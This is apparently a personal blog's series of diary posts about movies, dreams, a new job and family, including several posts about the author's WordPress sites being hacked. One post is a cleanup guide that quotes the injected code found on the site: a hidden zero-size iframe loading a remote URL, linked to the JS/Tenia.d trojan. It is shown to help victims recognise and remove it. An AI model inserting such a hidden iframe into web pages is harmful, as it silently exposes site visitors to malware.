Twilight — Because I still dream about head Vampire LaCroix from Forever Knight
Quantum of Solace — Because I do love international spy thrillers
Cadillac Records — Because I want to see Tyra Banks being Etta James
Role Models — Because I love potty humor and Paul Rudd
Nights in Rodanthe — Because I like houses built on sand
My Name is Bruce — Because Ted Raimi wears thong underwear
I Love You, Man — Because I love potty humor and Paul Rudd
Madea Goes to Jail — Because I am a sick puppy
Confessions of a Shopaholic — It’s a chick flick and how often do they come out?
He’s Just Not That Into You — I guess often enough
Fanboys — Because it’s about Star Wars stuff!
Yes Man — Because I still haven’t seen it

I had dreams of Nigel Bennett. Something to do with a race. I can hardly remember now.

The day was beautiful. I bought a pot and potting soil and re-planted my struggling mint plant. Hopefully this will help him thrive. I also raked my courtyard and disposed of almost all the leaves. I think I am going to have to buy a couple bags of mulch since the mulch that had been there either decomposed or I disposed of it with the leaves. It’s gone.

Finding myself home alone around 7:00, I considered visiting my parents especially since my mom made Jewish Apple Cake. The thing is, I go home and I somehow find myself sticking around until 11. Staying late isn’t really a huge issue but I would prefer to get to bed a little earlier than usual. So instead I stayed in and watched La Femme Nikita episodes. The show’s been off the air for almost 10 years and I still can’t get enough of it. I relate to Nikita– I related to her in my 20’s and I still relate to her in my 30’s. I think it has to do with how I always feel like I am fighting for my life. Whatever it is, I am certainly getting good use out of the DVD boxsets.

Woke up this morning to find Donnaville boasting an Internal Server Error. I logged in certain all I would see is the steaming remains of Uncle Owen and Aunt Beru. Who knows why but God was smiling down on me because all the files were where they were supposed to be and nothing was marked as changed. I wrote to the surfer dudes who host Donnaville and asked for help. In the meantime I tried to stay calm and visualized the surfer dudes helping me and not blaming the mess on WordPress.

A few hours later I got a note saying: “It appears the SecFilter directives you were using were unrecognized by Apache…” This makes absolutely no sense to me. Luckily the last sentence was “blah blah and your
site popped right up.” Whatever the surfer dude did, it worked. I was really certain it was another virus attack. In fact, BitDefender found more viruses on my laptop this morning. I think all is disinfected but I am not sure. Fingers crossed all is fine and I don’t have to deal with anymore computer issues or viruses.

This afternoon I went to the mall and looked at the iPhone in the AT&T store. I really quite like it. Its interface made more sense to me than what I found on the other Smartphones. The only aspect that I did’t like is AT&T requires a data plan when you have an iPhone. This bothers me because what happens if suddenly my cell phone stops being subsidized by work? Am I stuck paying 30.00 on top of the monthly fee until the two year contract ends? Maybe that’s something I shouldn’t worry about at this time. I don’t know. I hate to think this is yet another bill to add onto the long list of bills that already come addressed to me. Where does it end?

This is only a test of the broadcasting system.

It took me TWO hours to get home today! It’s an hour and a half there but two hours home. Traffic is to blame. Weather was a big contributer as well. It went from drizzling to pouring to pounding to bright and sunny. And now I am totally pooped. I haven’t worked out once this week! That must change this evening. I MUST go to the gym! And I really should force myself to go over the weekend to make up for my laziness.

I had crazy dreams last night. I dreamt I was late for Audra’s wedding… even though she got married two years ago! I was apparently traveling to the ceremony and I knew I should have left earlier but I didn’t and I couldn’t seem to drive fast enough. Plus I had to set my hair in rollers! And somehow my hands were greasy and they left this weird film on my hair! Horrible! Oh, and the dress I had to wear was bright blue with ugly appliqué flowers all over it. And then I found myself at Rosemont College. I was apparently going back to live and I needed to claim a dorm room. All the rooms had occupants so I asked an RA if it was possible for me to have my own room. The RA said they would only consider it if I was older than 28-years-old. I then said, “Older than 28? I am 32. No wait, I am 33. WAIT! I am 34 years old! HOW DID I GET SO OLD?!!” The jolt of that realization woke me up.

I think I need to take a nap. All that driving totally pooped me out.

It’s just a little after 5:00 and I am at home enjoying the beautiful springtime weather. I have the door open and I am hearing planes fly by, birds chirping and my psychotic neighbor ranting. She’s so seemingly normal in passing. I honestly would have no clue she was so frickin’ crazy if our houses weren’t so close together that I sometimes overhear her very weird one-sided conversations. But I did not open up WordPress to blog about Sandy. I wanted to record how happy I am with this new job that I don’t have such a painful commute and I can be outside and free at only a couple minutes after 5. It’s wonderful!

Have you ever met a person who gives you a bad feeling? It’s like you somehow know this person is rotten. Rotten through and through. There’s no evidence of any type other than this unsettling feeling in your gut? And if you have had this feeling, do you think the rotten person might be having the same feeling about you? But maybe in reverse? I mean, they are also getting a weird feeling but for them it’s like, “This person is good and I don’t like good!” Just curious.

PS My psychotic neighbor produces no unsettling feelings in my gut. I understand she had an illness when she was young where her brain swelled and afterward she was no longer “normal.” I feel she is a good person plagued by an unfortunate incident that left her with brain damage.

PPS My psychotic neighbor is now laughing in the most maniacal manner– it sounds like she’s possessed!

I thought it was only donnaville that was infected… nope! All my sites! And I’ve got a bunch. I ended up restoring a backup from 2 weeks ago for them. It worked fine. In fact, I am thinking I may do the same thing for this site since one of my other sites somehow kept the current posts which is why I didn’t want to do a restore here, thinking I may lose the last couple weeks of entries. My big fear is that there are more infected files on donnaville that I am just missing. That’s the reason I am thinking of doing a restore here too. I do not understand the hacker’s mentality. I understand they are making money but STILL! It’s just rude and obnoxious and plain EVIL!

Alternate title: Oh my gosh! My Website’s been hacked!
What do I do now?

A reader recently left me a comment stating that when he brought my Web site up on his browser, his anti virus detected a trojan horse virus called JS/Tenia.d. I immediately started googling, trying to come up with instructions on what to do. Unfortunately, there was very little out there and I had to figure it out on my own. Please understand that it’s totally possible I went about ridding myself of this beast in a crazy backwards manner but it seems to have worked and so I share it with you. Here’s what I did:

1. I checked the page source of my home page and found a snippet of code under the closing html tag that looked suspicious:

<iframe src=”http://google-stat.com/tomi/?t=2″ width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

It turns out, this code was appended to the bottom of ALL my pages. Every single stinkin’ one.

2. I downloaded and installed the plugin: WordPress Exploit Scanner. This plugin searches and reports on all “text that is commonly used by spammers and hackers when a website is compromised.” It’s gonna spit out a long report… try not to get too discouraged. You are going to have to go through this report and see which files have been tampered with. And then you are going to either delete the file or cut out the malicious code. You have to be smart about this because you don’t want to cut out too much (such as the good code) and mistakenly take down your own Web site. Plus, there are quite a number of false positives so you are going to have to determine if it’s a real issue or not.

Now here’s the good news: The date/time stamp on the files will help you determine which files have been tampered with– I noticed all the bad files were tampered with on March 22 so I started looking for all files dated March 22.

The files that I ended up editing were index.php AND almost all the txt, xml, and html files within WordPress. Again, just look to see when they were last edited, that will give you a good idea of which files you need to touch. And I know there’s a lot of folders within folders within folders, use the Workpress Exploit scan report to point you to which folders you need to hunt through.

3. All my old non-Wordpress archives and all my WP-themes were appended with the lovely malicious code. There were far too many files for me to delete the code manually. After sobbing and wondering if I could hire someone to spend the next 5 weeks deleting the code I realized I could just have my hosting company restore a back up to a folder on the server. From there I just copied over the folders that contained my old archives and my themes. Now don’t get me wrong, this took quite awhile and my little ftp program was nearly out of breath by the end but at least I didn’t have to remove the code manually.

4. How this code even got on my Web site, I have no idea! Did my computer have the trojan horse on it and when I logged into my Web site the thing ran rampant? Did someone figure out my login and password? Was it a hole in my browser? Who knows. So just to be safe, I changed my passwords and I ran a thorough anti virus scan on my computer. (Surprise, Surprise, there were two trojans hiding on my computer!)

I hope this helps people figure out what to do and saves you some time. Just remember that the people responsible for hacks and spam and viruses will eventually have it come back and bite them. May mosquitoes fly into their noses and lay eggs in their sinus cavities.

To all you computer geeks out there, feel free to leave a comment if you have any other suggestions as to how this can be fixed or at least averted.

Donnaville was hacked on March 22. Please run your anti virus and keep an eye on the trojan called, JS/Tenia.d. I am working on getting the site cleaned up. I think the front page is okay but the really old archives are still infected. If anyone has any idea on how to remove malicious script from pages, contact me!

Thank you to Jason H for alerting me. I had no idea.

I had a really busy weekend. Saturday I went to a friend’s 40th Surprise Birthday Party. It was a nice party but I would have to say the best part of it was the cake his mother, wife and sister got him. The cake was in the shape of a woman’s torso. It had huge boobs and… a vagina. Yes! The cake had a vagina made of icing and roasted coconut shavings. At the end of the party all that was left of the cake was the vagina since no one could get themselves to eat it. Which I gotta say surprised me– I honestly thought that would have been the first piece to go. The funny part of all of this is I took a picture of the cake and I keep thinking maybe I should post it… but I can’t do it. It’s just too gross. No picture. Sorry guys.

Sunday was spent with Audra and Lisa doing pysanky. Pookie asked me to make him an egg with a flaming skull on it. Normally I am a real stickler for traditional eggs– if you want Snoopy, go get a Paas kit! But I couldn’t turn down a challenge!

Yeah, I know, you can’t get any more Easter than that!

Audra made Halushki which I LOVED! And she used egg noodles which I thought was brilliant. My mom always made her own noodles which is what has stopped me from making it– sheer intimidation. Here’s a link to a pretty good recipe— I think variation 2 is the better one. And instead of bacon grease, you can just use butter— a lot of butter. Because it’s the healthier option 🙂

Work is going well. They are preparing me well. This week will be another week of mainly training. Today I got to work from home which was a sheer joy. Of course I spent the entire time on the phone cold calling. This is a good thing. I am one of those weird people who don’t mind it… mainly because I see past the initial discomfort to the whole lotta money it makes me. Rejection is something I faced repeatedly as a nerdy, geeky child and somehow I ended up in sales so I could continue to face it on an hourly basis. Life is weird.

Yeah, I am glad I didn’t link to the vagina cake picture. That would have been wrong.